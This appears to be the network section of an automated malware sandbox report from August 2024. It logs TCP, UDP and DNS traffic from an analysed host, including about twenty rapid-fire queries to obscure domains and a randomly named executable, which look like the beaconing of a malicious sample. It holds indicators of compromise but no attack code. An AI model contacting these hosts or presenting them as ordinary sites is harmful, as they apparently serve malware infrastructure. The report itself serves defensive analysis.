Aug 27, 2024 08:04:49.787462950 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.787630081 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.787769079 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.787884951 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.787981033 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:50.490967035 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:51.508332014 CEST	49923	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:51.774938107 CEST	80	49923	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:51.775191069 CEST	49923	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:51.780174017 CEST	49923	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:52.048850060 CEST	80	49923	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:52.048980951 CEST	80	49923	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:52.049109936 CEST	80	49923	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:52.049124002 CEST	80	49923	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:52.049134970 CEST	80	49923	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:52.049443960 CEST	49923	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:52.052495956 CEST	49923	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:52.319106102 CEST	80	49923	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:57.585161924 CEST	49924	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:04:57.908375025 CEST	80	49924	154.23.184.207	192.168.11.20
Aug 27, 2024 08:04:57.908551931 CEST	49924	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:04:57.916975021 CEST	49924	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:04:58.240060091 CEST	80	49924	154.23.184.207	192.168.11.20
Aug 27, 2024 08:04:58.240266085 CEST	80	49924	154.23.184.207	192.168.11.20
Aug 27, 2024 08:04:58.240453959 CEST	49924	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:04:59.426472902 CEST	49924	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:00.444164038 CEST	49925	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:00.745767117 CEST	80	49925	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:00.745981932 CEST	49925	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:00.754173040 CEST	49925	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:01.055835962 CEST	80	49925	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:01.056082964 CEST	80	49925	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:01.056268930 CEST	49925	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:02.269673109 CEST	49925	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:03.286968946 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:03.595238924 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:03.595511913 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:03.605206013 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:03.605288982 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:03.913836956 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:03.914062023 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:03.914192915 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:03.914344072 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:03.914611101 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:03.914655924 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:03.914830923 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:03.914994001 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:03.915164948 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:04.223212957 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.223320007 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.223386049 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:04.223522902 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.223718882 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:04.223886967 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:04.224015951 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.224052906 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:04.224070072 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.224873066 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.224982023 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.225255966 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.531897068 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.532437086 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.532598972 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.532835007 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.533047915 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.533267021 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.533427000 CEST	80	49926	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:04.533598900 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:05.112823963 CEST	49926	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:06.130347967 CEST	49927	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:06.431813955 CEST	80	49927	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:06.431992054 CEST	49927	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:06.436834097 CEST	49927	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:06.738383055 CEST	80	49927	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:06.738729954 CEST	80	49927	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:06.739078999 CEST	49927	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:06.740842104 CEST	49927	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:05:07.042413950 CEST	80	49927	154.23.184.207	192.168.11.20
Aug 27, 2024 08:05:11.755808115 CEST	49928	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:11.995023966 CEST	80	49928	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:11.995176077 CEST	49928	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:12.002552986 CEST	49928	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:12.241764069 CEST	80	49928	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:12.296715021 CEST	80	49928	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:12.296803951 CEST	80	49928	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:12.296958923 CEST	49928	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:13.517251015 CEST	49928	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:14.534820080 CEST	49929	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:14.774040937 CEST	80	49929	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:14.774214029 CEST	49929	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:14.782661915 CEST	49929	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:15.021797895 CEST	80	49929	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:15.073818922 CEST	80	49929	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:15.073951960 CEST	80	49929	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:15.074084044 CEST	49929	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:16.297894001 CEST	49929	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:17.315150023 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:17.554526091 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.554692984 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:17.563122034 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:17.563139915 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:17.563190937 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:17.802536011 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.802628040 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.802639008 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.802714109 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.802722931 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.802731037 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.802771091 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.802781105 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.802840948 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:17.802959919 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.802968979 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:17.803014040 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:17.803179026 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:17.803349972 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:18.042181015 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042288065 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042299032 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042315960 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:18.042381048 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042391062 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042512894 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:18.042543888 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042651892 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:18.042675972 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042686939 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042695999 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042704105 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042712927 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042742014 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042751074 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042879105 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:18.042912960 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042969942 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.042979002 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.043164968 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.043175936 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.043276072 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.043356895 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.281773090 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.281785011 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.281954050 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.282094002 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.282104969 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.282206059 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.282217026 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.282325029 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.282458067 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.282469034 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.282478094 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.282485962 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.337784052 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.337878942 CEST	80	49930	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:18.338166952 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:19.078474998 CEST	49930	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:20.096138954 CEST	49931	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:20.335377932 CEST	80	49931	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:20.335674047 CEST	49931	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:20.341361046 CEST	49931	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:20.580571890 CEST	80	49931	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:20.632642031 CEST	80	49931	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:20.632745981 CEST	80	49931	185.230.15.3	192.168.11.20
Aug 27, 2024 08:05:20.632982969 CEST	49931	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:20.634715080 CEST	49931	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:05:20.873842001 CEST	80	49931	185.230.15.3	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 07:57:27.044660091 CEST	56889	53	192.168.11.20	1.1.1.1
Aug 27, 2024 07:57:27.288184881 CEST	53	56889	1.1.1.1	192.168.11.20
Aug 27, 2024 07:58:02.104042053 CEST	65163	53	192.168.11.20	1.1.1.1
Aug 27, 2024 07:58:02.215864897 CEST	53	65163	1.1.1.1	192.168.11.20
Aug 27, 2024 07:58:22.483973980 CEST	50489	53	192.168.11.20	1.1.1.1
Aug 27, 2024 07:58:23.497296095 CEST	50489	53	192.168.11.20	9.9.9.9
Aug 27, 2024 07:58:24.091295004 CEST	53	50489	9.9.9.9	192.168.11.20
Aug 27, 2024 07:58:25.834355116 CEST	53	50489	1.1.1.1	192.168.11.20
Aug 27, 2024 07:58:38.574615955 CEST	55720	53	192.168.11.20	9.9.9.9
Aug 27, 2024 07:58:38.680150032 CEST	53	55720	9.9.9.9	192.168.11.20
Aug 27, 2024 07:58:46.744371891 CEST	62386	53	192.168.11.20	9.9.9.9
Aug 27, 2024 07:58:46.891068935 CEST	53	62386	9.9.9.9	192.168.11.20
Aug 27, 2024 07:59:00.178956032 CEST	51046	53	192.168.11.20	9.9.9.9
Aug 27, 2024 07:59:00.465051889 CEST	53	51046	9.9.9.9	192.168.11.20
Aug 27, 2024 07:59:14.738310099 CEST	63951	53	192.168.11.20	9.9.9.9
Aug 27, 2024 07:59:14.857050896 CEST	53	63951	9.9.9.9	192.168.11.20
Aug 27, 2024 07:59:28.000693083 CEST	60797	53	192.168.11.20	9.9.9.9
Aug 27, 2024 07:59:28.104723930 CEST	53	60797	9.9.9.9	192.168.11.20
Aug 27, 2024 07:59:41.419615030 CEST	58524	53	192.168.11.20	9.9.9.9
Aug 27, 2024 07:59:41.594192982 CEST	53	58524	9.9.9.9	192.168.11.20
Aug 27, 2024 07:59:55.213896990 CEST	64513	53	192.168.11.20	9.9.9.9
Aug 27, 2024 07:59:55.552339077 CEST	53	64513	9.9.9.9	192.168.11.20
Aug 27, 2024 08:00:09.492700100 CEST	61559	53	192.168.11.20	9.9.9.9
Aug 27, 2024 08:00:09.608885050 CEST	53	61559	9.9.9.9	192.168.11.20
Aug 27, 2024 08:00:23.816513062 CEST	60507	53	192.168.11.20	9.9.9.9
Aug 27, 2024 08:00:23.919327974 CEST	53	60507	9.9.9.9	192.168.11.20
Aug 27, 2024 08:00:50.919940948 CEST	55815	53	192.168.11.20	9.9.9.9
Aug 27, 2024 08:00:51.366111994 CEST	53	55815	9.9.9.9	192.168.11.20
Aug 27, 2024 08:01:05.120215893 CEST	64281	53	192.168.11.20	9.9.9.9
Aug 27, 2024 08:01:05.348082066 CEST	53	64281	9.9.9.9	192.168.11.20
Aug 27, 2024 08:01:18.851984978 CEST	55663	53	192.168.11.20	9.9.9.9
Aug 27, 2024 08:01:18.955868959 CEST	53	55663	9.9.9.9	192.168.11.20
Aug 27, 2024 08:01:32.114161968 CEST	57199	53	192.168.11.20	9.9.9.9
Aug 27, 2024 08:01:32.252120972 CEST	53	57199	9.9.9.9	192.168.11.20
Aug 27, 2024 08:03:27.338119984 CEST	54863	53	192.168.11.20	9.9.9.9
Aug 27, 2024 08:03:27.439057112 CEST	53	54863	9.9.9.9	192.168.11.20
Aug 27, 2024 08:05:25.642030954 CEST	57995	53	192.168.11.20	9.9.9.9
Aug 27, 2024 08:05:25.845122099 CEST	53	57995	9.9.9.9	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 27, 2024 07:57:27.044660091 CEST	192.168.11.20	1.1.1.1	0xbd5f	Standard query (0)	www.groupriam.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:02.104042053 CEST	192.168.11.20	1.1.1.1	0x8967	Standard query (0)	www.foundation-repair.biz	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:22.483973980 CEST	192.168.11.20	1.1.1.1	0x8153	Standard query (0)	www.asa-malukuutara.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:23.497296095 CEST	192.168.11.20	9.9.9.9	0x8153	Standard query (0)	www.asa-malukuutara.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:38.574615955 CEST	192.168.11.20	9.9.9.9	0xfa98	Standard query (0)	www.sedezne-blazine.shop	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.744371891 CEST	192.168.11.20	9.9.9.9	0xa31a	Standard query (0)	www.meetfactory.biz	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:00.178956032 CEST	192.168.11.20	9.9.9.9	0xd32a	Standard query (0)	www.518729.xyz	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:14.738310099 CEST	192.168.11.20	9.9.9.9	0x418f	Standard query (0)	www.cachsoicautdtc.best	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:28.000693083 CEST	192.168.11.20	9.9.9.9	0x7d62	Standard query (0)	www.itemfilterhub.shop	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:41.419615030 CEST	192.168.11.20	9.9.9.9	0xf5ce	Standard query (0)	www.bullbord.top	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:55.213896990 CEST	192.168.11.20	9.9.9.9	0xad47	Standard query (0)	www.cannulafactory.top	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:00:09.492700100 CEST	192.168.11.20	9.9.9.9	0x6d96	Standard query (0)	www.7ddw.top	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:00:23.816513062 CEST	192.168.11.20	9.9.9.9	0x2c1	Standard query (0)	www.home-check.shop	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:00:50.919940948 CEST	192.168.11.20	9.9.9.9	0xd5f2	Standard query (0)	www.emeluzunmoda.online	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:01:05.120215893 CEST	192.168.11.20	9.9.9.9	0x5d3f	Standard query (0)	www.ayypromo.shop	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:01:18.851984978 CEST	192.168.11.20	9.9.9.9	0xc964	Standard query (0)	www.magicface.shop	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:01:32.114161968 CEST	192.168.11.20	9.9.9.9	0xb82c	Standard query (0)	www.hypepgbet.online	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:03:27.338119984 CEST	192.168.11.20	9.9.9.9	0xa674	Standard query (0)	www.sedezne-blazine.shop	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:05:25.642030954 CEST	192.168.11.20	9.9.9.9	0xdf5c	Standard query (0)	www.multfiber.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 27, 2024 07:57:27.288184881 CEST	1.1.1.1	192.168.11.20	0xbd5f	No error (0)	www.groupriam.com	groupriam.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 07:57:27.288184881 CEST	1.1.1.1	192.168.11.20	0xbd5f	No error (0)	groupriam.com		199.103.62.205	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:02.215864897 CEST	1.1.1.1	192.168.11.20	0x8967	No error (0)	www.foundation-repair.biz		199.59.243.226	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:24.091295004 CEST	9.9.9.9	192.168.11.20	0x8153	No error (0)	www.asa-malukuutara.com	asa-malukuutara.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 07:58:24.091295004 CEST	9.9.9.9	192.168.11.20	0x8153	No error (0)	asa-malukuutara.com		103.247.8.53	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:25.834355116 CEST	1.1.1.1	192.168.11.20	0x8153	No error (0)	www.asa-malukuutara.com	asa-malukuutara.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 07:58:25.834355116 CEST	1.1.1.1	192.168.11.20	0x8153	No error (0)	asa-malukuutara.com		103.247.8.53	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:38.680150032 CEST	9.9.9.9	192.168.11.20	0xfa98	Name error (3)	www.sedezne-blazine.shop	none	none	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		96.126.123.244	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		198.58.118.167	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		72.14.185.43	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		45.33.2.79	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		45.33.23.183	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		45.33.30.197	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		45.33.20.235	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		45.79.19.196	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		45.56.79.23	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		173.255.194.134	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		72.14.178.174	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:58:46.891068935 CEST	9.9.9.9	192.168.11.20	0xa31a	No error (0)	www.meetfactory.biz		45.33.18.44	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:00.465051889 CEST	9.9.9.9	192.168.11.20	0xd32a	No error (0)	www.518729.xyz		23.231.158.3	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:14.857050896 CEST	9.9.9.9	192.168.11.20	0x418f	No error (0)	www.cachsoicautdtc.best		172.67.191.241	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:14.857050896 CEST	9.9.9.9	192.168.11.20	0x418f	No error (0)	www.cachsoicautdtc.best		104.21.84.119	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:28.104723930 CEST	9.9.9.9	192.168.11.20	0x7d62	No error (0)	www.itemfilterhub.shop		172.67.166.145	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:28.104723930 CEST	9.9.9.9	192.168.11.20	0x7d62	No error (0)	www.itemfilterhub.shop		104.21.50.202	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:41.594192982 CEST	9.9.9.9	192.168.11.20	0xf5ce	No error (0)	www.bullbord.top		203.161.46.205	A (IP address)	IN (0x0001)	false
Aug 27, 2024 07:59:55.552339077 CEST	9.9.9.9	192.168.11.20	0xad47	No error (0)	www.cannulafactory.top		18.183.3.45	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:00:09.608885050 CEST	9.9.9.9	192.168.11.20	0x6d96	No error (0)	www.7ddw.top	7ddw.top		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 08:00:09.608885050 CEST	9.9.9.9	192.168.11.20	0x6d96	No error (0)	7ddw.top		154.23.184.207	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:00:23.919327974 CEST	9.9.9.9	192.168.11.20	0x2c1	No error (0)	www.home-check.shop		185.230.15.3	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:00:51.366111994 CEST	9.9.9.9	192.168.11.20	0xd5f2	No error (0)	www.emeluzunmoda.online	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 08:00:51.366111994 CEST	9.9.9.9	192.168.11.20	0xd5f2	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 08:00:51.366111994 CEST	9.9.9.9	192.168.11.20	0xd5f2	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:01:05.348082066 CEST	9.9.9.9	192.168.11.20	0x5d3f	No error (0)	www.ayypromo.shop		176.57.64.102	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:01:18.955868959 CEST	9.9.9.9	192.168.11.20	0xc964	No error (0)	www.magicface.shop		76.223.54.146	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:01:18.955868959 CEST	9.9.9.9	192.168.11.20	0xc964	No error (0)	www.magicface.shop		13.248.169.48	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:01:32.252120972 CEST	9.9.9.9	192.168.11.20	0xb82c	No error (0)	www.hypepgbet.online		82.112.244.92	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:03:27.439057112 CEST	9.9.9.9	192.168.11.20	0xa674	Name error (3)	www.sedezne-blazine.shop	none	none	A (IP address)	IN (0x0001)	false
Aug 27, 2024 08:05:25.845122099 CEST	9.9.9.9	192.168.11.20	0xdf5c	No error (0)	www.multfiber.net	multfiber.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 08:05:25.845122099 CEST	9.9.9.9	192.168.11.20	0xdf5c	No error (0)	multfiber.net		84.32.84.32	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.groupriam.com

www.foundation-repair.biz

www.asa-malukuutara.com

www.meetfactory.biz

www.518729.xyz

www.cachsoicautdtc.best

www.itemfilterhub.shop

www.bullbord.top

www.cannulafactory.top

www.7ddw.top

www.home-check.shop

www.emeluzunmoda.online

www.ayypromo.shop

www.magicface.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49841	199.59.243.226	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
